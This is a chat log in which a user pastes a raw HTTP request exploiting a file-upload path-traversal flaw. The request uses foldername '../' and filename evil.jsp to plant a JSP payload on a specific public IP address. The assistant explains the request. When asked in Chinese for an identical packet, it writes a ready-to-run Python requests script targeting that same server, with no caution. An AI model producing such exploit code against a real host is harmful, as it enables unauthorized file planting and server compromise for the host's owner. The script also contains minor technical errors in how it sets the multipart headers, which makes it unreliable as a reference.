POST…
- User
POST /UploadFileData?action=upload_file&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&foldername=%2e%2e%2f&filename=evil.jsp&filename=1.jpg HTTP/1.1 Host: 124.205.25.226:8082 Content-Type: multipart/form-data Accept-Encoding: gzip Content-Length: 161 ------WebKitFormBoundary92pUawKc Content-Disposition: form-data; name="myFile";filename="test.jpg" <%out.print("test");%> ------WebKitFormBoundary92pUawKc--
- Assistant
This is a HTTP POST request that is attempting to upload a file to a server using the path traversal vulnerability.
The request is being sent to the IP address 124.205.25.226 on port 8082.
The request body is using the 'multipart/form-data' content type to send the file data. The file being uploaded is called "test.jpg" and its contents are "<%out.print("test");%>".
The request is also sending query parameters with the name "1" set to "1" multiple times, as well as the "foldername" parameter set to "../" and the "filename" parameter set to "evil.jsp" and "1.jpg" respectively.
The request is using the WebKitFormBoundary92pUawKc as the boundary for the multipart content.
- User
POST /UploadFileData?action=upload_file&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&foldername=%2e%2e%2f&filename=evil.jsp&filename=1.jpg HTTP/1.1 Host: 124.205.25.226:8082 Content-Type: multipart/form-data Accept-Encoding: gzip Content-Length: 161 ------WebKitFormBoundary92pUawKc Content-Disposition: form-data; name=“myFile”;filename=“test.jpg” <%out.print(“test”);%> ------WebKitFormBoundary92pUawKc– python怎么通过requests库构造出和上面一模一样的数据包
- Assistant
In Python, you can use the
requestslibrary to construct a similar HTTP POST request with the same data. Here's an example:import requests url = 'http://124.205.25.226:8082/UploadFileData?action=upload_file&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&foldername=%2e%2e%2f&filename=evil.jsp&filename=1.jpg' # File data file_data = { 'myFile': ('test.jpg', '<%out.print("test");%>', 'multipart/form-data') } # Request headers headers = { 'Content-Type': 'multipart/form-data', 'Accept-Encoding': 'gzip' } response = requests.post(url, headers=headers, files=file_data) print(response.text)This code creates a
requests.postrequest to the specified URL with the necessary headers and file data. The response from the server is then printed.